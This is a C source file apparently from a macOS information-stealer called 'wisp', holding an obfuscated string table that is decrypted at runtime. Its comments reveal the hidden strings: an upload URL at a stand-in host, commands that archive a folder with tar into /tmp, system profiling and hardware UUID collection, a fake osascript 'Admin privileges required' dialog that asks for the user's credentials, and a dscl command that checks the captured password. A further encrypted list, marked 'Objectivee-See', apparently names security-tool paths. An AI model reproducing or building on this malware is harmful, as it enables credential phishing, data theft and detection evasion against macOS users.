src/strings.c
#include <wisp.h>

/*-------------------------------------------
///   sTRINGS 
-------------------------------------------*/

const enc_vault_t vault[] = { 
    { // [0] "https://foo.com/raw/{rand}"
        .key = {0x8F,0xA2,0x99,0x24,0x33,0xF6,0xDD,0x98,0x17,0x8A,0x61,0x4C,0x3B,0x5E,0x25,0x40,
                0x9F,0x72,0x29,0x74,0x43,0xC6,0x6D,0xE8,0x27,0x5A,0xF1,0x9C,0x4B,0x2E,0xB5,0x90},
        .iv  = {0x9F,0x72,0x29,0x74,0x43,0xC6,0x6D,0xE8,0x27,0x5A,0xF1,0x9C,0x4B,0x2E,0xB5,0x90},
        .len = 48,
        .data = {0x68,0x8F,0x67,0x5C,0xD6,0x0B,0x08,0xAB,0x1A,0x17,0x3B,0x5F,0x37,0x45,0xBE,0x62,
                 0x60,0x19,0x52,0xB2,0x6B,0x40,0xB4,0xFE,0xD6,0x57,0x5D,0x43,0xD3,0x4A,0xE8,0xBB,
                 0x94,0x4D,0x3E,0x22,0x7C,0x45,0xBD,0x60,0xFB,0xEB,0x0F,0x45,0x72,0x47,0xB3,0x14}
    },
    { // [1] "Content-Type: application/octet-stream"
        .key = {0x9C,0x4B,0x2E,0xB5,0x90,0xAF,0x42,0xB9,0xC4,0x53,0x96,0xFD,0x38,0x37,0x2A,0x81,
                0xEC,0x5B,0xFE,0x45,0xE0,0xBF,0x12,0x49,0x14,0x63,0x66,0x8D,0x88,0x47,0xFA,0x11},
        .iv  = {0xEC,0x5B,0xFE,0x45,0xE0,0xBF,0x12,0x49,0x14,0x63,0x66,0x8D,0x88,0x47,0xFA,0x11},
        .len = 48,
        .data = {0xF5,0xC7,0xD4,0x34,0xF4,0x91,0x67,0xD5,0x73,0x9F,0xA1,0xB8,0xA7,0xE7,0x6B,0x55,
                 0xD6,0x2F,0xD4,0x6E,0xD3,0x42,0xF2,0xEF,0xFE,0x6D,0x8F,0xC6,0x40,0x6A,0x95,0xB5,
                 0x3F,0x29,0x9C,0x00,0x7F,0xF9,0x6C,0x4E,0xDB,0xC5,0x3A,0x52,0x26,0x26,0xEB,0xA8}
    },
    { // [2] "tar -cf %s -C %s ."
        .key = {0xA9,0xF4,0xC3,0x46,0xED,0x68,0xA7,0xDA,0x71,0x1C,0xCB,0xAE,0x35,0x10,0x2F,0xC2,
                0x39,0x44,0xD3,0x16,0x7D,0xB8,0xB7,0xAA,0x01,0x6C,0xDB,0x7E,0xC5,0x60,0x3F,0x92},
        .iv  = {0x39,0x44,0xD3,0x16,0x7D,0xB8,0xB7,0xAA,0x01,0x6C,0xDB,0x7E,0xC5,0x60,0x3F,0x92},
        .len = 32,
        .data = {0x55,0xBF,0x8C,0xFD,0xAC,0xA8,0x45,0xD6,0x3F,0xB9,0x48,0x05,0x61,0x2A,0xD4,0xA0,
                 0xB9,0x7D,0xD9,0x73,0xB5,0xB8,0x23,0xD4,0xD6,0xE1,0x76,0xE8,0x8D,0xFB,0xD9,0x07}
    },
    { // [3] "/tmp/%s.tar"
        .key = {0xB6,0x9D,0x58,0xD7,0x4A,0x21,0x0C,0xFB,0x1E,0xE5,0x00,0x5F,0x32,0xE9,0x34,0x03,
                0x86,0x2D,0xA8,0xE7,0x1A,0xB1,0x5C,0x0B,0xEE,0x75,0x50,0x6F,0x02,0x79,0x84,0x13},
        .iv  = {0x86,0x2D,0xA8,0xE7,0x1A,0xB1,0x5C,0x0B,0xEE,0x75,0x50,0x6F,0x02,0x79,0x84,0x13},
        .len = 16,
        .data = {0xE4,0xB1,0x38,0x50,0x67,0x43,0xC0,0x25,0xEA,0x6D,0xB0,0xFC,0xAD,0xED,0x73,0xBB}
    },
    { // [4] "system_profiler SPSoftwareDataType SPHardwareDataType"
        .key = {0xC3,0x46,0xED,0x68,0xA7,0xDA,0x71,0x1C,0xCB,0xAE,0x35,0x10,0x2F,0xC2,0x39,0x44,
                0xD3,0x16,0x7D,0xB8,0xB7,0xAA,0x01,0x6C,0xDB,0x7E,0xC5,0x60,0x3F,0x92,0xC9,0x94},
        .iv  = {0xD3,0x16,0x7D,0xB8,0xB7,0xAA,0x01,0x6C,0xDB,0x7E,0xC5,0x60,0x3F,0x92,0xC9,0x94},
        .len = 64,
        .data = {0x57,0x2C,0x11,0xD8,0x9F,0xC8,0x4E,0xAD,0x59,0x5E,0xA6,0x04,0x40,0x3F,0x18,0xC9,
                 0x78,0x95,0x08,0x06,0xAA,0xDC,0x1B,0xF5,0x95,0x48,0x4B,0xC4,0xD0,0xCA,0x2D,0xC4,
                 0x0D,0xC5,0x1C,0x3C,0x3C,0x47,0x7A,0xE1,0x53,0x7E,0x7C,0x2A,0xD4,0xF9,0xAB,0xB8,
                 0x30,0xD1,0x1C,0xD7,0x55,0x8A,0x15,0x19,0xF1,0x3D,0xB9,0xAD,0x5D,0xBF,0x8A,0xF4}
    },
    { // [5] "[Info]"
        .key = {0xD0,0xEF,0x82,0xF9,0x04,0x93,0xD6,0x3D,0x78,0x77,0x6A,0xC1,0x2C,0x9B,0x3E,0x85,
                0x20,0xFF,0x52,0x89,0x54,0xA3,0xA6,0xCD,0xC8,0x87,0x3A,0x51,0x7C,0xAB,0x0E,0x15},
        .iv  = {0x20,0xFF,0x52,0x89,0x54,0xA3,0xA6,0xCD,0xC8,0x87,0x3A,0x51,0x7C,0xAB,0x0E,0x15},
        .len = 16,
        .data = {0x39,0x58,0xB5,0xAD,0x78,0x24,0x59,0x04,0xBF,0xF9,0x69,0xA3,0x38,0x85,0x9F,0x6B}
    },
    { // [6] "ID: %s"
        .key = {0xDD,0x98,0x17,0x8A,0x61,0x4C,0x3B,0x5E,0x25,0x40,0x9F,0x72,0x29,0x74,0x43,0xC6,
                0x6D,0xE8,0x27,0x5A,0xF1,0x9C,0x4B,0x2E,0xB5,0x90,0xAF,0x42,0xB9,0xC4,0x53,0x96},
        .iv  = {0x6D,0xE8,0x27,0x5A,0xF1,0x9C,0x4B,0x2E,0xB5,0x90,0xAF,0x42,0xB9,0xC4,0x53,0x96},
        .len = 16,
        .data = {0x69,0x0B,0xB7,0xA6,0x5E,0x4F,0x83,0x40,0xE9,0xE1,0x62,0x9E,0xE2,0x56,0xC9,0x57}
    },
    { // [7] "=== Host ==="
        .key = {0x04,0x93,0xD6,0x3D,0x78,0x77,0x6A,0xC1,0x2C,0x9B,0x3E,0x85,0x20,0xFF,0x52,0x89,
                0x54,0xA3,0xA6,0xCD,0xC8,0x87,0x3A,0x51,0x7C,0xAB,0x0E,0x15,0x70,0x0F,0x22,0x19},
        .iv  = {0x54,0xA3,0xA6,0xCD,0xC8,0x87,0x3A,0x51,0x7C,0xAB,0x0E,0x15,0x70,0x0F,0x22,0x19},
        .len = 16,
        .data = {0xB4,0x42,0xA1,0x14,0xC0,0x4A,0xB2,0x54,0xE2,0x85,0xB6,0xA8,0xFA,0xC7,0x38,0x88}
    }
     // [8] "dscl /Local/Default -authonly %s %s"
     // [9] "osascript -e 'display dialog \"Admin privileges required.\\nEnter admin username:\" with title \"Admin Access\" default answer \"\" giving up after 30'"
     // [10] "ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}"
     // [11] "%s/Library/Application Support/%s.plist"
};

// Objectivee-See
const enc_vault_t paths[] = {
    {
        .key = {0x3D,0x78,0x77,0x6A,0xC1,0x2C,0x9B,0x3E,0x85,0x20,0xFF,0x52,0x89,0x54,0xA3,0xA6,
                0xCD,0xC8,0x87,0x3A,0x51,0x7C,0xAB,0x0E,0x15,0x70,0x0F,0x22,0x19,0xA4,0xB3,0x76},
        .iv  = {0xCD,0xC8,0x87,0x3A,0x51,0x7C,0xAB,0x0E,0x15,0x70,0x0F,0x22,0x19,0xA4,0xB3,0x76},
        .len = 32,
        .data = {0xF0,0x90,0x14,0x6E,0x7D,0xF4,0x53,0xAE,0x41,0x3D,0xBC,0x1D,0x63,0xC8,0x5A,0xA0,
                 0x6F,0x7F,0x77,0xB6,0x90,0xE7,0x5D,0x3F,0x4A,0x9E,0x68,0x9C,0x0A,0x01,0xEF,0xDD}
    },
    {
        .key = {0xC2,0x39,0x44,0xD3,0x16,0x7D,0xB8,0xB7,0xAA,0x01,0x6C,0xDB,0x7E,0xC5,0x60,0x3F,
                0x92,0xC9,0x94,0xE3,0xE6,0x0D,0x08,0xC7,0x7A,0x91,0xBC,0xEB,0x4E,0x55,0xB0,0x4F},
        .iv  = {0x92,0xC9,0x94,0xE3,0xE6,0x0D,0x08,0xC7,0x7A,0x91,0xBC,0xEB,0x4E,0x55,0xB0,0x4F},
        .len = 32,
        .data = {0x7E,0xB2,0x3F,0x27,0x89,0x28,0xEB,0xAD,0x8F,0x87,0xB5,0x06,0x10,0xBB,0xC7,0xB9,
                 0x3E,0x87,0xD7,0x86,0x72,0x86,0x02,0xED,0xCF,0x36,0x7E,0xE3,0xED,0xAD,0x4B,0xF1}
    }
};

const size_t vault_count = sizeof(vault) / sizeof(vault[0]);
const size_t paths_count = sizeof(paths) / sizeof(paths[0]);

void initialize__strings() {
    for (size_t i = 0; i < vault_count; i++) {
        uint8_t plain[65] = {0};
        size_t len = vault[i].len;
        
        decipher(vault[i].key, vault[i].iv, vault[i].data, plain, len);
        len = trim_newlines(plain, len);
        plain[len] = '\0';
        _strings[i] = strdup((char *)plain);
    }
}

void cleanup__strings() {
    for (size_t i = 0; i < sizeof(_strings)/sizeof(_strings[0]); i++) {
        if (_strings[i]) {
            free(_strings[i]);
            _strings[i] = NULL;
        }
    }
}
